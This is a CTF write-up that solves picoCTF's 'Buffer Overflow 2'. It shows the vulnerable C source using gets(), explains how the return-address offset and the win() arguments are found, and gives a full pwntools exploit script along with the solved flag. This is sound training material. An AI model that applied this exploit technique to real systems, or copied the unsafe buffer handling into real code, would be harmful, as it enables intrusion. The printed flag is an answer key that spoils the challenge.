picoCTF Buffer Overflow 2
Published:
picoCTF Buffer Overflow 2
In this problem, we are given a binary and the source code of the binary to analyse. The source code is below:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
So, we have to provide an input that overflows the “buf” buffer and upon returning jumps to “win” function to get the flag. In the “win” function, we can see that there are checks for 2 arguments. If the two arguments are of a specific value, then the flag will be printed.
Now let’s check the binary and see it’s status. Running “checksec” on the binary yields the following output:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
We can see that PIE is not enabled. That means the addresses of the function remains the same through different instances of the program. Now, let’s open the binary in gdb and check the stack.
Setting a breakpoint in “vuln”, we run the program and check the stack.
Here, we can see that, the address 0xffffcffc contains the return address which points to an instruction of the main function. So, we need to modify this address so that it points to the “win” function.
In order to check the offset of the return address from the beginning of the buffer, we can input a large pattern as input and check the value at the address and figure out the offset. We used the cyclic tool of pwntools and generated a 120 character pattern and provided it as input. Then upon checking the value of the return address, we see that, the pattern occurs at offset 112.
Now, we know where to put our return address. To get the return address, we can just check the disassembly of win and use its address as all the addresses are static in this binary. We get the address of 0x08049296.
Now we need to fix the arguments as without specific argument values, the flag wont be printed. We know that arguments are positioned in a function like below:
argument 1 → ebp+8
argument 2 → ebp+0xc
Here, as we are directly jumping to the function without calling it, storing the return address in the stack was not done. But the function pushes the old ebp to the stack and then the esp value is copied to ebp. So, the ebp points to the same address where we stored the return address in the vuln function because while returning from vuln, the return address is popped from stack. Now, the first argument needs to be 8 bytes away from ebp. So, we need an extra 4 bytes between the argument 1 and the return address in our payload. Finally, the exploit script looks like the following:
from pwn import *
p = process("./vuln")
# p = remote("saturn.picoctf.net", 61154)
arg1 = p32(0xCAFEF00D, endian='little')
arg2 = p32(0xF00DF00D,endian='little')
win_addr = p32(0x08049296, endian='little')
payload = b'A'*112 + win_addr + b'A'*4 + arg1 + arg2
with open("payload","wb") as f:
f.write(payload)
print(p.recvline().decode())
p.sendline(payload)
p.interactive()
Running the above script, we get the flag.
Flag: picoCTF{argum3nt5_4_d4yZ_27ecbf40}